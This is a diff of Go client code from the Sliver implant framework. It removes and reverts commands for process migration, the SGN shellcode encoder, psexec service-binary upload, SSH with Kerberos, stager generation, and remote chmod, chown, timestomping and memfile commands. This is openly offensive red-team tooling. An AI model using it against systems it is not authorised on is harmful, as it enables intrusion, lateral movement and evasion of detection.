 	(at your option) any later version.
-
 	This program is distributed in the hope that it will be useful,
 	but WITHOUT ANY WARRANTY; without even the implied warranty of
 	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 	GNU General Public License for more details.
-
 	You should have received a copy of the GNU General Public License
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
@@ -21,11 +18,9 @@ package exec
 import (
 	"context"
 	"fmt"
-	"strings"
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/desertbit/grumble"
 )
 
@@ -36,50 +31,14 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 
-	pid := ctx.Flags.Uint("pid")
-	procName := ctx.Flags.String("process-name")
-	if pid == 0 && procName == "" {
-		con.PrintErrorf("Error: Must specify either a PID or process name\n")
-		return
-	}
-	if procName != "" {
-		procCtrl := make(chan bool)
-		con.SpinUntil(fmt.Sprintf("Searching for %s ...", procName), procCtrl)
-		proc, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
-			Request: con.ActiveTarget.Request(ctx),
-		})
-		if err != nil {
-			con.PrintErrorf("Error: %v\n", err)
-			return
-		}
-		procCtrl <- true
-		<-procCtrl
-		for _, p := range proc.GetProcesses() {
-			if strings.ToLower(p.Executable) == strings.ToLower(procName) {
-				pid = uint(p.Pid)
-				break
-			}
-		}
-		if pid == 0 {
-			con.PrintErrorf("Error: Could not find process %s\n", procName)
-			return
-		}
-		con.PrintInfof("Process name specified, overriding PID with %d\n", pid)
-	}
+	pid := ctx.Args.Uint("pid")
 	config := con.GetActiveSessionConfig()
-	encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
-	if ctx.Flags.Bool("disable-sgn") {
-		encoder = clientpb.ShellcodeEncoder_NONE
-	}
-
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
-
 	migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
 		Pid:     uint32(pid),
 		Config:  config,
 		Request: con.ActiveTarget.Request(ctx),
-		Encoder: encoder,
 	})
 	ctrl <- true
 	<-ctrl

client/command/exec/psexec.go

@@ -21,19 +21,17 @@ package exec
 import (
 	"context"
 	"fmt"
-	"os"
+	"io/ioutil"
+	insecureRand "math/rand"
 	"strings"
 	"time"
 
-	insecureRand "math/rand"
-
 	"github.com/bishopfox/sliver/client/command/generate"
 	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/bishopfox/sliver/server/codenames"
 	"github.com/bishopfox/sliver/util/encoders"
 	"github.com/desertbit/grumble"
 )
@@ -95,7 +93,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
 	} else {
 		// use a custom exe instead of generating a new Sliver
-		fileBytes, err := os.ReadFile(customExe)
+		fileBytes, err := ioutil.ReadFile(customExe)
 		if err != nil {
 			con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
 			return
@@ -103,7 +101,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		serviceBinary = fileBytes
 	}
 
-	filename := randomFileName()
+	filename := randomString(10)
 	filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
 	uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
 	// upload to remote target
@@ -174,28 +172,11 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
 }
 
-func randomFileName() string {
-	noun, _ := codenames.RandomNoun()
-	noun = strings.ToLower(noun)
-	switch insecureRand.Intn(3) {
-	case 0:
-		noun = strings.ToUpper(noun)
-	case 1:
-		noun = strings.ToTitle(noun)
+func randomString(length int) string {
+	var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
+	b := make([]byte, length)
+	for i := range b {
+		b[i] = charset[insecureRand.Intn(len(charset))]
 	}
-
-	separators := []string{"", "", "", "", "", ".", "-", "_", "--", "__"}
-	sep := separators[insecureRand.Intn(len(separators))]
-
-	alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
-	prefix := ""
-	for index := 0; index < insecureRand.Intn(3); index++ {
-		prefix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
-	}
-	suffix := ""
-	for index := 0; index < insecureRand.Intn(6)+1; index++ {
-		suffix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
-	}
-
-	return fmt.Sprintf("%s%s%s%s%s", prefix, sep, noun, sep, suffix)
+	return string(b)
 }

client/command/exec/sideload.go

@@ -21,7 +21,7 @@ package exec
 import (
 	"context"
 	"fmt"
-	"os"
+	"io/ioutil"
 	"path/filepath"
 	"strings"
 
@@ -45,7 +45,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	processName := ctx.Flags.String("process")
 	args := strings.Join(ctx.Args.StringList("args"), " ")
 
-	binData, err := os.ReadFile(binPath)
+	binData, err := ioutil.ReadFile(binPath)
 	if err != nil {
 		con.PrintErrorf("%s", err.Error())
 		return

client/command/exec/spawndll.go

@@ -1,27 +1,9 @@
 package exec
 
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
 import (
 	"context"
 	"fmt"
-	"os"
+	"io/ioutil"
 	"strings"
 
 	"github.com/bishopfox/sliver/client/console"
@@ -42,7 +24,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	processName := ctx.Flags.String("process")
 	exportName := ctx.Flags.String("export")
 
-	binData, err := os.ReadFile(binPath)
+	binData, err := ioutil.ReadFile(binPath)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return

client/command/exec/ssh.go

@@ -1,26 +1,8 @@
 package exec
 
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
 import (
 	"context"
-	"os"
+	"io/ioutil"
 	"strings"
 
 	"github.com/AlecAivazis/survey/v2"
@@ -49,9 +31,9 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	port := ctx.Flags.Uint("port")
-	privateKeyPath := ctx.Flags.String("private-key")
-	if privateKeyPath != "" {
-		privKey, err = os.ReadFile(privateKeyPath)
+	privateKeypath := ctx.Flags.String("private-key")
+	if privateKeypath != "" {
+		privKey, err = ioutil.ReadFile(privateKeypath)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
@@ -61,22 +43,6 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	hostname := ctx.Args.String("hostname")
 	command := ctx.Args.StringList("command")
-	kerberosRealm := ctx.Flags.String("kerberos-realm")
-	kerberosConfig := ctx.Flags.String("kerberos-config")
-	kerberosKeytabFile := ctx.Flags.String("kerberos-keytab")
-
-	if kerberosRealm != "" && kerberosKeytabFile == "" {
-		con.PrintErrorf("You must specify a keytab file with the --kerberos-keytab flag\n")
-		return
-	}
-	kerberosKeytab := []byte{}
-	if kerberosKeytabFile != "" {
-		kerberosKeytab, err = os.ReadFile(kerberosKeytabFile)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
 
 	if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
 		oldUsername := username
@@ -93,9 +59,6 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		PrivKey:  privKey,
 		Password: password,
 		Command:  strings.Join(command, " "),
-		Realm:    kerberosRealm,
-		Krb5Conf: kerberosConfig,
-		Keytab:   kerberosKeytab,
 		Request:  con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {

client/command/filesystem/chmod.go

@@ -1,84 +0,0 @@
-package filesystem
-
-/*
-	Copyright (C) 2023 b0yd
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"google.golang.org/protobuf/proto"
-
-	"github.com/desertbit/grumble"
-)
-
-// ChmodCmd - Change the permissions of a file on the remote file system
-func ChmodCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
-		return
-	}
-
-	filePath := ctx.Args.String("path")
-
-	if filePath == "" {
-		con.PrintErrorf("Missing parameter: file or directory name\n")
-		return
-	}
-
-	fileMode := ctx.Args.String("mode")
-
-	if fileMode == "" {
-		con.PrintErrorf("Missing parameter: file permissions (mode)\n")
-		return
-	}
-
-	chmod, err := con.Rpc.Chmod(context.Background(), &sliverpb.ChmodReq{
-		Request:   con.ActiveTarget.Request(ctx),
-		Path:      filePath,
-		FileMode:  fileMode,
-		Recursive: ctx.Flags.Bool("recursive"),
-	})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if chmod.Response != nil && chmod.Response.Async {
-		con.AddBeaconCallback(chmod.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, chmod)
-			if err != nil {
-				con.PrintErrorf("Failed to decode response %s\n", err)
-				return
-			}
-			PrintChmod(chmod, con)
-		})
-		con.PrintAsyncResponse(chmod.Response)
-	} else {
-		PrintChmod(chmod, con)
-	}
-}
-
-// PrintChmod - Print the chmod response
-func PrintChmod(chmod *sliverpb.Chmod, con *console.SliverConsoleClient) {
-	if chmod.Response != nil && chmod.Response.Err != "" {
-		con.PrintErrorf("%s\n", chmod.Response.Err)
-		return
-	}
-	con.PrintInfof("%s\n", chmod.Path)
-}

client/command/filesystem/chown.go

@@ -1,92 +0,0 @@
-package filesystem
-
-/*
-	Copyright (C) 2023 b0yd
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"google.golang.org/protobuf/proto"
-
-	"github.com/desertbit/grumble"
-)
-
-// ChownCmd - Change the owner of a file on the remote file system
-func ChownCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
-		return
-	}
-
-	filePath := ctx.Args.String("path")
-
-	if filePath == "" {
-		con.PrintErrorf("Missing parameter: file or directory name\n")
-		return
-	}
-
-	uid := ctx.Args.String("uid")
-
-	if uid == "" {
-		con.PrintErrorf("Missing parameter: user id\n")
-		return
-	}
-
-	gid := ctx.Args.String("gid")
-
-	if gid == "" {
-		con.PrintErrorf("Missing parameter: group id\n")
-		return
-	}
-	
-	chown, err := con.Rpc.Chown(context.Background(), &sliverpb.ChownReq{
-		Request:   con.ActiveTarget.Request(ctx),
-		Path:      filePath,
-		Uid:  uid,
-		Gid:  gid,
-		Recursive: ctx.Flags.Bool("recursive"),
-	})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if chown.Response != nil && chown.Response.Async {
-		con.AddBeaconCallback(chown.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, chown)
-			if err != nil {
-				con.PrintErrorf("Failed to decode response %s\n", err)
-				return
-			}
-			PrintChown(chown, con)
-		})
-		con.PrintAsyncResponse(chown.Response)
-	} else {
-		PrintChown(chown, con)
-	}
-}
-
-// PrintChown - Print the chown response
-func PrintChown(chown *sliverpb.Chown, con *console.SliverConsoleClient) {
-	if chown.Response != nil && chown.Response.Err != "" {
-		con.PrintErrorf("%s\n", chown.Response.Err)
-		return
-	}
-	con.PrintInfof("%s\n", chown.Path)
-}

client/command/filesystem/chtimes.go

@@ -1,107 +0,0 @@
-package filesystem
-
-/*
-	Copyright (C) 2023 b0yd
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"time"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"google.golang.org/protobuf/proto"
-
-	"github.com/desertbit/grumble"
-)
-
-// ChtimesCmd - Change the access and modified time of a file on the remote file system
-func ChtimesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
-		return
-	}
-	// DateTime layout (https://pkg.go.dev/time)
-	layout := "2006-01-02 15:04:05"
-	filePath := ctx.Args.String("path")
-
-	if filePath == "" {
-		con.PrintErrorf("Missing parameter: file or directory name\n")
-		return
-	}
-
-	atime := ctx.Args.String("atime")
-
-	if atime == "" {
-		con.PrintErrorf("Missing parameter: Last accessed time id\n")
-		return
-	}
-
-	t_a, err := time.Parse(layout, atime)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	unixAtime := t_a.Unix()
-
-	mtime := ctx.Args.String("mtime")
-
-	if mtime == "" {
-		con.PrintErrorf("Missing parameter: Last modified time id\n")
-		return
-	}
-
-	t_b, err := time.Parse(layout, mtime)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	unixMtime := t_b.Unix()
-	
-	chtimes, err := con.Rpc.Chtimes(context.Background(), &sliverpb.ChtimesReq{
-		Request:   con.ActiveTarget.Request(ctx),
-		Path:      filePath,
-		ATime:  unixAtime,
-		MTime:  unixMtime,
-	})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if chtimes.Response != nil && chtimes.Response.Async {
-		con.AddBeaconCallback(chtimes.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, chtimes)
-			if err != nil {
-				con.PrintErrorf("Failed to decode response %s\n", err)
-				return
-			}
-			PrintChtimes(chtimes, con)
-		})
-		con.PrintAsyncResponse(chtimes.Response)
-	} else {
-		PrintChtimes(chtimes, con)
-	}
-}
-
-// PrintChtimes - Print the Chtimes response
-func PrintChtimes(chtimes *sliverpb.Chtimes, con *console.SliverConsoleClient) {
-	if chtimes.Response != nil && chtimes.Response.Err != "" {
-		con.PrintErrorf("%s\n", chtimes.Response.Err)
-		return
-	}
-	con.PrintInfof("%s\n", chtimes.Path)
-}

client/command/filesystem/ls.go

@@ -149,22 +149,13 @@ func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleC
 		implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
 		modTime = modTime.In(implantLocation)
 
-		owner := ""
-		if fileInfo.Uid != "" {
-			owner = fileInfo.Uid
-		}
-		if fileInfo.Gid != "" {
-			owner = owner + ":" + fileInfo.Gid + "\t"
-		}
-
 		if fileInfo.IsDir {
-			fmt.Fprintf(table, "%s\t%s%s\t<dir>\t%s\n", fileInfo.Mode, owner, fileInfo.Name, modTime.Format(time.RubyDate))
+			fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
 		} else if fileInfo.Link != "" {
-			fmt.Fprintf(table, "%s\t%s%s -> %s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
+			fmt.Fprintf(table, "%s\t%s -> %s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
 		} else {
-			fmt.Fprintf(table, "%s\t%s%s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
+			fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
 		}
-
 	}
 	table.Flush()
 	con.Printf("%s\n", outputBuf.String())

client/command/filesystem/memfiles-add.go

@@ -1,67 +0,0 @@
-package filesystem
-
-/*
-	Copyright (C) 2023 b0yd
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"google.golang.org/protobuf/proto"
-
-	"github.com/desertbit/grumble"
-)
-
-// MemfilesAddCmd - Add memfile
-func MemfilesAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
-		return
-	}
-
-	memfilesAdd, err := con.Rpc.MemfilesAdd(context.Background(), &sliverpb.MemfilesAddReq{
-		Request: con.ActiveTarget.Request(ctx),
-	})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if memfilesAdd.Response != nil && memfilesAdd.Response.Async {
-		con.AddBeaconCallback(memfilesAdd.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, memfilesAdd)
-			if err != nil {
-				con.PrintErrorf("Failed to decode response %s\n", err)
-				return
-			}
-			PrintAddMemfile(memfilesAdd, con)
-		})
-		con.PrintAsyncResponse(memfilesAdd.Response)
-	} else {
-		PrintAddMemfile(memfilesAdd, con)
-	}
-}
-
-// PrintAddMemfile - Print the memfiles response
-func PrintAddMemfile(memfilesAdd *sliverpb.MemfilesAdd, con *console.SliverConsoleClient) {
-	if memfilesAdd.Response != nil && memfilesAdd.Response.Err != "" {
-		con.PrintErrorf("%s\n", memfilesAdd.Response.Err)
-		return
-	}
-	con.PrintInfof("New memfile descriptor: %d\n", memfilesAdd.Fd)
-}

client/command/filesystem/memfiles-list.go

@@ -1,118 +0,0 @@
-package filesystem
-
-/*
-	Copyright (C) 2023 b0yd
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"bytes"
-	"context"
-	"fmt"
-	"strings"
-	"text/tabwriter"
-	"time"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/bishopfox/sliver/util"
-	"google.golang.org/protobuf/proto"
-
-	"github.com/desertbit/grumble"
-)
-
-// MemfilesListCmd - List memfiles
-func MemfilesListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
-		return
-	}
-
-	memfilesList, err := con.Rpc.MemfilesList(context.Background(), &sliverpb.MemfilesListReq{
-		Request: con.ActiveTarget.Request(ctx),
-	})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if memfilesList.Response != nil && memfilesList.Response.Async {
-		con.AddBeaconCallback(memfilesList.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, memfilesList)
-			if err != nil {
-				con.PrintErrorf("Failed to decode response %s\n", err)
-				return
-			}
-			PrintMemfiles(memfilesList, con)
-		})
-		con.PrintAsyncResponse(memfilesList.Response)
-	} else {
-		PrintMemfiles(memfilesList, con)
-	}
-}
-
-// PrintMemfiles - Display an sliverpb.Ls object
-func PrintMemfiles(ls *sliverpb.Ls, con *console.SliverConsoleClient) {
-	if ls.Response != nil && ls.Response.Err != "" {
-		con.PrintErrorf("%s\n", ls.Response.Err)
-		return
-	}
-
-	// Generate metadata to print with the path
-	numberOfFiles := len(ls.Files)
-	var totalSize int64 = 0
-	var pathInfo string
-
-	for _, fileInfo := range ls.Files {
-		totalSize += fileInfo.Size
-	}
-
-	if numberOfFiles == 1 {
-		pathInfo = fmt.Sprintf("%s (%d item, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
-	} else {
-		pathInfo = fmt.Sprintf("%s (%d items, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
-	}
-
-	con.Printf("%s\n", pathInfo)
-	con.Printf("%s\n", strings.Repeat("=", len(pathInfo)))
-
-	outputBuf := bytes.NewBufferString("")
-	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-
-	for _, fileInfo := range ls.Files {
-		modTime := time.Unix(fileInfo.ModTime, 0)
-		implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
-		modTime = modTime.In(implantLocation)
-
-		owner := ""
-		if fileInfo.Uid != "" {
-			owner = fileInfo.Uid
-		}
-		if fileInfo.Gid != "" {
-			owner = owner + ":" + fileInfo.Gid + "\t"
-		}
-
-		if fileInfo.IsDir {
-			fmt.Fprintf(table, "%s\t%s%s\t<dir>\t%s\n", fileInfo.Mode, owner, fileInfo.Name, modTime.Format(time.RubyDate))
-		} else if fileInfo.Link != "" {
-			fmt.Fprintf(table, "%s\t%s%s -> %s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
-		} else {
-			fmt.Fprintf(table, "%s\t%s%s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
-		}
-
-	}
-	table.Flush()
-	con.Printf("%s\n", outputBuf.String())
-}

client/command/filesystem/memfiles-rm.go

@@ -1,77 +0,0 @@
-package filesystem
-
-/*
-	Copyright (C) 2023 b0yd
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"strconv"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"google.golang.org/protobuf/proto"
-
-	"github.com/desertbit/grumble"
-)
-
-// MemfilesRmCmd - Remove a memfile
-func MemfilesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
-		return
-	}
-
-	fdArg := ctx.Args.String("fd")
-	if fdArg == "" {
-		con.PrintErrorf("Missing parameter: File Descriptor\n")
-		return
-	}
-
-	fdInt, err := strconv.ParseInt(fdArg, 0, 64)
-
-	memfilesList, err := con.Rpc.MemfilesRm(context.Background(), &sliverpb.MemfilesRmReq{
-		Request: con.ActiveTarget.Request(ctx),
-		Fd:      fdInt,
-	})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if memfilesList.Response != nil && memfilesList.Response.Async {
-		con.AddBeaconCallback(memfilesList.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, memfilesList)
-			if err != nil {
-				con.PrintErrorf("Failed to decode response %s\n", err)
-				return
-			}
-			PrintRmMemfile(memfilesList, con)
-		})
-		con.PrintAsyncResponse(memfilesList.Response)
-	} else {
-		PrintRmMemfile(memfilesList, con)
-	}
-}
-
-// PrintRmMemfile - Remove a memfile
-func PrintRmMemfile(memfilesList *sliverpb.MemfilesRm, con *console.SliverConsoleClient) {
-	if memfilesList.Response != nil && memfilesList.Response.Err != "" {
-		con.PrintErrorf("%s\n", memfilesList.Response.Err)
-		return
-	}
-	con.PrintInfof("Removed memfile descriptor: %d\n", memfilesList.Fd)
-}

client/command/generate/generate-beacon.go

@@ -31,11 +31,7 @@ func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if save == "" {
 		save, _ = os.Getwd()
 	}
-	if !ctx.Flags.Bool("external-builder") {
-		compile(config, ctx.Flags.Bool("disable-sgn"), save, con)
-	} else {
-		externalBuild(config, save, con)
-	}
+	compile(config, save, con)
 }
 
 func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {

client/command/generate/generate-stager.go

@@ -1,28 +1,10 @@
 package generate
 
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
 import (
 	"context"
 	"fmt"
+	"io/ioutil"
 	"net"
-	"os"
 	"regexp"
 	"strings"
 
@@ -69,12 +51,12 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	arch := ctx.Flags.String("arch")
 	proto := ctx.Flags.String("protocol")
 	format := ctx.Flags.String("format")
-	badChars := ctx.Flags.String("badchars")
+	badchars := ctx.Flags.String("badchars")
 	save := ctx.Flags.String("save")
 
 	bChars := make([]string, 0)
-	if len(badChars) > 0 {
-		for _, b := range strings.Split(badChars, " ") {
+	if len(badchars) > 0 {
+		for _, b := range strings.Split(badchars, " ") {
 			bChars = append(bChars, fmt.Sprintf("\\x%s", b))
 		}
 	}
@@ -106,7 +88,7 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	<-ctrl
 
 	if err != nil {
-		con.PrintErrorf("Error: %v - Please make sure Metasploit framework >= v6.2 is installed and msfvenom/msfconsole are in your PATH", err)
+		con.PrintErrorf("Error: %v", err)
 		return
 	}
 
@@ -116,7 +98,7 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			return
 		}
 
-		err = os.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
+		err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
 		if err != nil {
 			con.PrintErrorf("Failed to write to: %s\n", saveTo)
 			return

client/command/generate/generate.go

@@ -22,11 +22,12 @@ import (
 	"context"
 	"errors"
 	"fmt"
+	"io/ioutil"
 	"log"
 	"net"
 	"net/url"
 	"os"
-	"os/signal"
+	"path"
 	"path/filepath"
